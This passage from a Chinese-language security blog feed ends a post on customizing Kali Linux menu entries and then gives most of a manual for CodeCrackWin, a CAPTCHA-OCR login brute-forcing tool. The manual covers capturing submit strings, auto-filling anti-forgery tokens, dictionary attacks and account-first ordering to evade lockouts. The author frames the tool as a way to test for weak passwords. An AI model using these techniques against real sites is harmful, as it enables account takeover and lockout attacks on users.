&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;如果&lt;b&gt;希望應用程式在終端機內執行&lt;/b&gt;，可將&lt;span style=&quot;color: #2b00fe;&quot;&gt;Exec&lt;/span&gt;的值修改如下，前段的「&lt;span style=&quot;color: #2b00fe;&quot;&gt;/usr/share/kali-menu/exec-in-shell&lt;/span&gt;」會啟動作業系統的終端機，後段的「&quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;hydra -h&lt;/span&gt;&quot;」代表要在此終端機內執行的命令及傳遞 此命令的參數。&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 4px;&quot;&gt;Exec=&lt;span style=&quot;color: #2b00fe;&quot;&gt;/usr/share/kali-menu/exec-in-shell&lt;/span&gt; &quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;hydra -h&lt;/span&gt;&quot;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p style=&quot;font-size: 16pt;&quot;&gt;&lt;b&gt;Icon的來源&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;項目內容裡的Icon參數&lt;b&gt;只需指定圖示名稱&lt;/b&gt;，系統會參照「&lt;span style=&quot;color: #3d85c6;&quot;&gt;/usr/share/icons/hicolor/&lt;span style=&quot;color: #cc0000;&quot;&gt;DxD&lt;/span&gt;/apps/&lt;/span&gt;」內的同名稱圖示檔，如上例的「&lt;span style=&quot;color: #3d85c6;&quot;&gt;kali-menu&lt;/span&gt;」就是指 kali-menu.png，前述路徑裡的&lt;span style=&quot;color: #cc0000;&quot;&gt;DxD&lt;/span&gt;是指圖示大小，有興趣者，可以自己到「&lt;span style=&quot;color: #3d85c6;&quot;&gt;/usr/share/icons/hicolor/&lt;/span&gt;」目錄下找找！&lt;/p&gt;
  &lt;p style=&quot;font-size: 16pt;&quot;&gt;&lt;b&gt;分類名稱來源&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;分類名稱就從現有的選單項目內容去，例如想找自定的選單項目放在「&lt;span style=&quot;color: #990000;&quot;&gt;06-無線攻擊&lt;/span&gt;」裡的「&lt;span style=&quot;color: #990000;&quot;&gt;藍牙工具集&lt;/span&gt;」，「&lt;span style=&quot;color: #0b5394;&quot;&gt;cat kali-btscanner.desktop&lt;/span&gt;」就會發現分類名稱是「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;06-02-bluetooth-tools&lt;/b&gt;&lt;/span&gt;」&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 4px;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;root@kali-2019-3&lt;/span&gt;:&lt;span style=&quot;color: #3d85c6;&quot;&gt;/usr/share/applications&lt;/span&gt;# &lt;b&gt;cat kali-btscanner.desktop&lt;/b&gt; &lt;br /&gt;
[Desktop Entry]&lt;br /&gt;
Name=btscanner&lt;br /&gt;
Encoding=UTF-8&lt;br /&gt;
Exec=/usr/share/kali-menu/exec-in-shell &quot;btscanner -h&quot;&lt;br /&gt;
Icon=kali-menu&lt;br /&gt;
StartupNotify=false&lt;br /&gt;
Terminal=true&lt;br /&gt;
Type=Application&lt;br /&gt;
Categories=&lt;span style=&quot;background-color: #b6d7a8;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;06-02-bluetooth-tools;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
X-Kali-Package=btscanner&lt;br /&gt;
&lt;/div&gt;
  &lt;hr /&gt;
  &lt;p&gt;不要問我如何新增分類夾，我還沒有找到答案，如果有人知道，也請告訴我，謝謝！&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/7056404982987090411/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/09/kaliapplications-menu.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7056404982987090411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7056404982987090411'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/09/kaliapplications-menu.html' title='自定Kali應用程式選單（Applications Menu） 的項目（成員）'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWDHckXyVHmxqt8hWUj-JQUYVJwJnkI407wkeZANPM3jJasM7PxsH92ngvdlXYBFkDnMZrC9btneRA4FINS2sv4poq2Gv5nFTWKguN78h4xIby7EO_siIjecrOstGe2o0n6DPoJRv6-ncZ/s72-w400-h105-c/kali-001.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-2448745732264259484</id><published>2021-08-31T10:47:00.006+08:00</published><updated>2021-09-06T20:02:56.012+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>CodeCrackWin 3.0版(圖形驗證碼暴力破解工具) 使用說明</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(100, 149, 237); font-size: 14pt; line-height: 180%; padding: 8px;&quot;&gt;
  &lt;p&gt;之前版本使用WebBrowser組件處理請求及回應，發現無法正確處理Ajax及JSON，因此重新改寫，仍由WebBrowser讀取第一頁面，以便取得登入欄位及驗證碼圖形。暴力測試測試則改由HttpWebRequest處理，以解決前版遭遇的問題。&lt;br /&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fadbd8; border: 2px solid rgb(51, 255, 51); line-height: 100%; margin: 4px; padding: 4px;&quot;&gt;
  &lt;p&gt;執行檔下載：&lt;a href=&quot;https://drive.google.com/file/d/17x_CqgwkfjI-YgT3UZxsLtYM6EMMDn_Z/view?usp=sharing&quot;&gt;CodeCrackWin.ZIP&lt;/a&gt;（記得調整設定檔 CodeCrackWin.config)&lt;/p&gt;
  &lt;p&gt;原始碼下載： &lt;a href=&quot;https://drive.google.com/file/d/1u5gxGqqUpZPjok-E6BEpjouQfndYOQG5/view?usp=sharing&quot;&gt;CodeCrackWin-source.ZIP&lt;/a&gt; (本專案是用 Visual Studio 2013開發的)&lt;/p&gt;
  &lt;p&gt;範例網頁：&lt;a href=&quot;https://drive.google.com/file/d/1OTqu8KoeJ3zXr3vsOxNc0gAJOeTg4N-9/view?usp=sharing&quot;&gt;CodeCrackDemo.ZIP&lt;/a&gt; (請自行掛載到IIS)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;一、前言&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;CodeCrackWin是以.NET 3.5為基礎，用C#寫成的，主要的OCR元件為tessdata&amp;nbsp;4的函式庫。這支程式算是入門級，可能還有很多狀況沒有考慮到，因此&lt;span style=&quot;color: #660000; font-weight: bold;&quot;&gt;誤判率可能不低，能應付的圖形碼也有限&lt;/span&gt;，當初開發的目的只是為了測試使用者是否使用弱密碼，但軟體總是要先有初版，如果不符您的需求，請直接移除。&lt;/div&gt;
&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;二、安裝CodeCrackWin&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;CodeCrackWin 採&lt;span style=&quot;color: #38761d; font-weight: bold;&quot;&gt;綠色軟體&lt;/span&gt;模式開發，不必安裝，但需依程式存放的目錄調整組態檔。&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;修改CodeCrackWin.exe.config&lt;/div&gt;

&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;1.&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;&amp;lt;appSettings&amp;gt;區段的設定&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em;&quot;&gt;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;tessedit_char_whitelist&lt;/span&gt;：表示進行OCR時只會判斷這些字元，如果圖形碼使用的字元愈多，本程式的辨識就愈低。系統預設只用數字和大寫字母，如果待破解的網站會用到小寫字母，請將此設定的&amp;nbsp;value&amp;nbsp;加入小寫字母。如果網站的圖形碼只有數字，則將此參數值設成「0123456789」，可以提高辨識率。&lt;/div&gt;
&lt;div style=&quot;border: 1pt solid green; margin-left: 3em; padding: 2pt;&quot;&gt;程式中的「&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;OCR字元&lt;/span&gt;」欄位內容與&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;tessedit_char_whitelist&lt;/span&gt;的功用相同，只是「OCR字元」針對特定的網站(寫在設定檔中，程式執行時，如果「OCR字元」有值，則優先使用「OCR字元」內容，如果「&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;OCR字元&lt;/span&gt;」是空的，則使用&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;tessedit_char_whitelist&lt;/span&gt;的內容。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em;&quot;&gt;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;timer_tick&lt;/span&gt;：設定嘗試破解的時間間隔，單位是毫秒，如設為3000，表示每三秒鐘才嘗試一組帳密。&lt;/div&gt;

&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;2.
&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;&amp;lt;userSettings&amp;gt;&amp;gt; &amp;lt;&amp;nbsp;&amp;nbsp;TesseractOCR.Properties.Settings&amp;gt;&amp;nbsp;區段&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em;&quot;&gt;
TessdataPath&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;&amp;lt;value&amp;gt;&lt;/span&gt;是指定ORC判斷的範本，如果設錯了，程式執行時會卡住，它的路徑一定要指定程式安裝位置下的tessdata目錄，以本例應該是D:\CodeCrack\tessdata。&amp;nbsp; (上圖是我的測試環境，和這一段的描述的路徑不同)&lt;/div&gt;

&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;三、第一次執行&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;要執行此程式，只要雙擊「CodeCrackWin.exe」即可，起始畫面如下圖（預先填入一些值，只是為了讓使用者明白該欄位的格式），是有點複雜，而且使用上也需要一點竅門。&lt;/div&gt;
&lt;div style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWFGtfzbhElWOy7n20zoIbCEN7tuHnUM3g9Sq-CtFKNjRSqZYXum2o5ZW8DvqJYyUr8NpbrLhpeEvTOen_UG_CiJnKImK9fxui7H61qHAUvVkpTdjAVfUbpCLueIqxeWHceBcYM_Ew7GFR/s1253/Pic01.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;793&quot; data-original-width=&quot;1253&quot; height=&quot;254&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWFGtfzbhElWOy7n20zoIbCEN7tuHnUM3g9Sq-CtFKNjRSqZYXum2o5ZW8DvqJYyUr8NpbrLhpeEvTOen_UG_CiJnKImK9fxui7H61qHAUvVkpTdjAVfUbpCLueIqxeWHceBcYM_Ew7GFR/w400-h254/Pic01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em;&quot;&gt;下列是程式各欄位說明&amp;nbsp;(畫面上的&amp;gt;&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;數字&lt;/span&gt;對應下列的&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;項次編號&lt;/span&gt;)：&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;1.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;網址&lt;/span&gt;：這是需要使用者填入帳號及密碼的頁面網址，通常就是系統的&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;登入頁面&lt;/span&gt;，必須指定完整的網址，如果實際的登入頁是嵌在frame(或iframe）裡，應該要指定真正的登入頁網址，而不是佈置frame的外圍網址。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;2.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;帳號欄位&lt;/span&gt;：&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;登入網頁&lt;/span&gt;上用來填「帳號」的欄位之name或id屬性值。例如該欄位的HTML是&amp;lt;input type=&quot;text&quot; name=&quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;account&lt;/span&gt;&quot; id=&quot;account-id&quot;&amp;gt;，則這一欄就是填「&lt;span style=&quot;color: #cc0000;&quot;&gt;account&lt;/span&gt;」；如果沒有name屬性，則填id的值「account-id」。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;3.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;密碼欄位&lt;/span&gt;：&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;登入網頁&lt;/span&gt;上用來填「密碼」的欄位之&amp;nbsp;name屬性內容。例如該欄位的HTML是&amp;lt;input type=&quot;password&quot; name=&quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;pwd&lt;/span&gt;&quot; id=&quot;pwd-id&quot;&amp;gt;，則這一欄就是填「&lt;span style=&quot;color: #cc0000;&quot;&gt;pwd&lt;/span&gt;」；如果沒有name屬性，則填id的值「&lt;span style=&quot;color: #cc0000;&quot;&gt;pwd-id&lt;/span&gt;」。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;4.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;圖形碼欄位&lt;/span&gt;：&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;登入網頁&lt;/span&gt;上用來填「圖形驗證碼」的欄位之name屬性內容；如果沒有name屬性，則填id的值。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;5.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;圖形元素的TagName&lt;/span&gt;：由於應用程式有不同方式可提供圖形，這裡必須要知道它是用img&amp;nbsp;或&amp;nbsp;input，例如它的html碼是&amp;lt;&lt;span style=&quot;color: #cc0000;&quot;&gt;IMG&amp;nbsp;&lt;/span&gt;id=loginImg&amp;nbsp;src=\&quot;../VerifyCodeServlet?t=login\&quot;&amp;gt;，這一欄就填「&lt;span style=&quot;color: #cc0000;&quot;&gt;img&lt;/span&gt;」。又如果是用&amp;lt;&lt;span style=&quot;color: blue;&quot;&gt;input&amp;nbsp;&lt;/span&gt;name=&quot;ImageButton1&quot;&amp;nbsp;src=&quot;ValidateCode.aspx&quot;&amp;gt;&amp;nbsp;，就填「&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;input&lt;/span&gt;」。類型一定要正確，否則會找不到圖形。&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;6.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;圖形碼來源&lt;/span&gt;：用來判斷驗證碼圖形元素的關鍵字，程式是靠這段文字判斷哪一個元素是圖形，以&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;第5.點&lt;/span&gt;的說明為例，圖形元素的HTML碼是&amp;lt;IMG id=loginImg&amp;nbsp;src=&quot;../VerifyCodeServlet?t=login&quot;&amp;gt;，則這一欄可以填「&lt;span style=&quot;color: red;&quot;&gt;VerifyCodeServlet?t=login&lt;/span&gt;」或「&lt;span style=&quot;color: red;&quot;&gt;VerifyCodeServlet?」&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;7.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;圖形座標微調&lt;/span&gt;：有時程式自動判斷圖片位置會有些微誤差，可以利用此欄位進行微調，單位是「像點」。有些驗證碼圖形會加外框（指圖本身），造成程式誤判背景顏色，這種情況可以利用應標微調方式避開外框，以下圖而言，紅色外框轉成灰階後會近似黑色，但實際背景應該是白色，由於框的寬度是2pix，因此可將&amp;nbsp;x,y&amp;nbsp;各設為2。&lt;span style=&quot;background: yellow none repeat scroll 0% 0%; color: #990000; font-weight: bold;&quot;&gt;x是水平座標&lt;/span&gt;，也就控制圖形左邊的垂直框線，&lt;span style=&quot;background: yellow none repeat scroll 0% 0%; color: #990000; font-weight: bold;&quot;&gt;y是垂直座標&lt;/span&gt;，也就控制圖形上邊的水平框線。&lt;br /&gt;
&lt;div style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjip69aAW1nWxAJtpl_ELcAZycAHIYQZ6FoD6maRgtnQrpypR53RNvHYSrT0mRISWyHPZXnqtIcofWxwDwjjS5QD5T65SxEHgXkjklxEWJbgZu9jcu-_LIxm7s8vjslMFCpEBUv7BHuDtCJ/s94/image003.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;36&quot; data-original-width=&quot;94&quot; height=&quot;36&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjip69aAW1nWxAJtpl_ELcAZycAHIYQZ6FoD6maRgtnQrpypR53RNvHYSrT0mRISWyHPZXnqtIcofWxwDwjjS5QD5T65SxEHgXkjklxEWJbgZu9jcu-_LIxm7s8vjslMFCpEBUv7BHuDtCJ/s0/image003.jpg&quot; width=&quot;94&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;8.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;去2nd雜點&lt;/span&gt;及&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;去3rd雜點&lt;/span&gt;：這是用來強化清除圖片雜點的選項，請視圖片的品質選用，有時過度清除雜點也會造成失真，要不要啟用，應該以實際情況做為依據。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;9.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;未使用圖形驗證碼&lt;/span&gt;：本程式除了針對有圖形驗證的登入頁面外，也適用於無圖形驗證的登入頁面，若登入頁未使用圖形驗證碼機制，請將此欄打勾，程式就不會處理圖形辨識。要應付沒有圖形驗證碼的登入頁面，hydra會是更好的選擇。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;10.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;OCR結果&lt;/span&gt;)：這裡可看到OCR辨識結果，供人工判斷辨識成功與否。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;11.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;灰階值&lt;/span&gt;)：當用滑鼠點擊31.的驗證碼圖形時，這裡會顯該像點的灰階值，可做為24. 25.項的噪音線上、下限調整參考。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;12.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;提交字串&lt;/span&gt;：新版改用HttpWebRequest提交資料，因此需要知道提交對象及內容。&lt;br /&gt;
如何得知提交字串？可以利用瀏覽器的開發人員工具攔截人工登入的流量，查看「登入」時，帳號、密碼及驗證碼是如何提交給後端驗證，並記錄&lt;span style=&quot;font-weight: bold;&quot;&gt;提交對象&lt;/span&gt;、&lt;span style=&quot;font-weight: bold;&quot;&gt;提交方法&lt;/span&gt;及&lt;span style=&quot;font-weight: bold;&quot;&gt;提交內容&lt;/span&gt;。提交字串的內容就是&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;&amp;lt;提交對象&amp;gt;?&amp;lt;提交內容&amp;gt;&lt;/span&gt;所組成。&lt;br /&gt;
若為GET方式，URL的內容就是&lt;span style=&quot;font-weight: bold;&quot;&gt;提交字串&lt;/span&gt;，若為POST方式，要手工自行組合。&lt;br /&gt;
為了順利提交資料，&lt;span style=&quot;font-weight: bold;&quot;&gt;提交字串&lt;/span&gt;需要稍作整形，以下圖的例子來看，從瀏覽器取得的提交字串是「Account=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;test&lt;/span&gt;&amp;amp;Password=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;password&lt;/span&gt;&amp;amp;VarifyCode=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;666666&lt;/span&gt;&amp;amp;AccountType=Student&amp;amp;__RequestVerificationToken=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;uar5cJQ4LbogTjPEp3dPJgcohYranexj7qfqSO4T_l-bgmJ9duY42rzCPTJxByMmY9Mu1PhWEulmZBunU7i5sRQJUa81&lt;/span&gt;」，其中&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;紅字&lt;/span&gt;部分是變動資料，必須告訴工具要用哪些資料來替換。&lt;br /&gt;
例如：test是來自表單的「Account」欄位，所以「&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;test&lt;/span&gt;」要改成「&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;^Account^&lt;/span&gt;」，同理password要改成密碼欄的名稱或id，即「&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;password&lt;/span&gt;」要改成「&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;^Password^&lt;/span&gt;」；某些Web系統會動態塞入一些防偽造token，只要它是插在表單的欄位裡(例如&amp;nbsp;hidden)，也可以利用前述的替換手法，讓系統自動提交，例如「__RequestVerificationToken=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;^__RequestVerificationToken^&lt;/span&gt;」，本工具就會從表單中找出__RequestVerificationToken的值，在請求登入時，提交正確的token值。&lt;/div&gt;
&lt;div style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYP_aAGCs0HsCbz35kDOUZs1rbZzNF_1iuVDiICzxpDu0wChV9RWTwdil-aLRdAj6m9a-sl08OxO8CEHCGmPfgerG-h1-qRKNIXcC9Z5DcCEeqwlVnLyk8A7oa-RJAM4q0a2yf-dfIWxAO/s1320/Pic03.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;820&quot; data-original-width=&quot;1320&quot; height=&quot;249&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYP_aAGCs0HsCbz35kDOUZs1rbZzNF_1iuVDiICzxpDu0wChV9RWTwdil-aLRdAj6m9a-sl08OxO8CEHCGmPfgerG-h1-qRKNIXcC9Z5DcCEeqwlVnLyk8A7oa-RJAM4q0a2yf-dfIWxAO/w400-h249/Pic03.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;13.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;提交方式&lt;/span&gt;：參考12.&amp;nbsp;的說明，依照提交方法，請選擇「GET」或「POST」。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;14.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;資料型態&lt;/span&gt;：參考12.&amp;nbsp;的說明，依照提交內容的格式，請選擇「URL格式」或「JSON」。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;15.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;轉址層數&lt;/span&gt;：當提交登入資料後，後端程式可能會依驗證結果而做轉址，此處的轉址層數是告訴工具，若有轉址行為，只要判斷到第幾層就好，所謂第幾層，就是收到幾次30x的狀態碼。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;16.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;帳號檔&lt;/span&gt;、&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;載入帳號&lt;/span&gt;、&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;單一帳號&lt;/span&gt;：此三項是一體連動的，若勾選&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一帳號&lt;/span&gt;，則&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;帳號檔&lt;/span&gt;的內容就是單筆帳號，例如只想嘗試破解admin這組帳號的密碼，就可以將&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一帳號&lt;/span&gt;打勾，並於&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;帳號檔&lt;/span&gt;填「admin」。如果&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一帳號&lt;/span&gt;沒有打勾，就可以利用&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;載入帳號&lt;/span&gt;鈕選擇字典檔，將待測的帳號清單載到程式中，載入後，有效的帳號筆數會出現在此按鈕文字的右方，例如載入5筆帳號，按鈕文字會由「載入帳號」變成「載入帳號(5)」，而&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;帳號檔&lt;/span&gt;這一欄的內容就是帳號字典檔的路徑。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;17.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;密碼檔&lt;/span&gt;、&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;載入密碼&lt;/span&gt;、&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;單一密碼&lt;/span&gt;：此三項是一體連動的，若勾選&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一密碼&lt;/span&gt;，則&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;密碼&lt;/span&gt;的內容就是單筆密碼，例如只想嘗試password這組密碼，就可以將&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一密碼&lt;/span&gt;打勾，並於&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;密碼檔&lt;/span&gt;填「password」。如果&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;單一密碼&lt;/span&gt;沒有打勾，則可以利用&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;載入密碼&lt;/span&gt;鈕選擇字典檔，將待測的密碼清單載到程式中，載入後，有效的密碼筆數會出現在此按鈕文字的右方，例如載入5筆密碼，按鈕文字會由「載入密碼」變成「載入密碼(5)」，而&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;密碼檔&lt;/span&gt;這一欄的內容就是密碼字典檔的路徑。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;18.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;帳密方式&lt;/span&gt;：執行暴力破解時，&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;預設&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;(&lt;/span&gt;即&lt;span style=&quot;font-weight: bold;&quot;&gt;都不勾選&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;時)&lt;/span&gt;是先選一組帳號，然後測試所有密碼後(密碼先行)，再選下一組帳號，這種破解方式很可能讓使用者的帳號被鎖定（DoS攻擊的一種）。本工具提供另三種帳密使用方式：&lt;br /&gt;&lt;span style=&quot;color: #00b050; font-weight: bold;&quot;&gt;帳號先行&lt;/span&gt;：有些系統會每隔一段時間(如30分鐘)自動解鎖，這時就可以選用&lt;span style=&quot;color: #00b050; font-weight: bold;&quot;&gt;帳號先行&lt;/span&gt;策略，選一組密碼，嘗試所有帳號之後，再選下一組密碼，讓每組帳號被測試的間隔拉長。&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;帳密同行&lt;/span&gt;：帳號清單及密碼清單同時遞增，只要其中一種測試完畢，即停止測試。&lt;br /&gt;
&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;只用帳號&lt;/span&gt;：將帳號清單的內容同時填在帳號欄及密碼欄。一般用在登入頁面只有帳號欄位，而沒有密碼欄位時。(此時3.&amp;nbsp;的密碼欄位可以隨便指定一個名稱)。&lt;/div&gt;
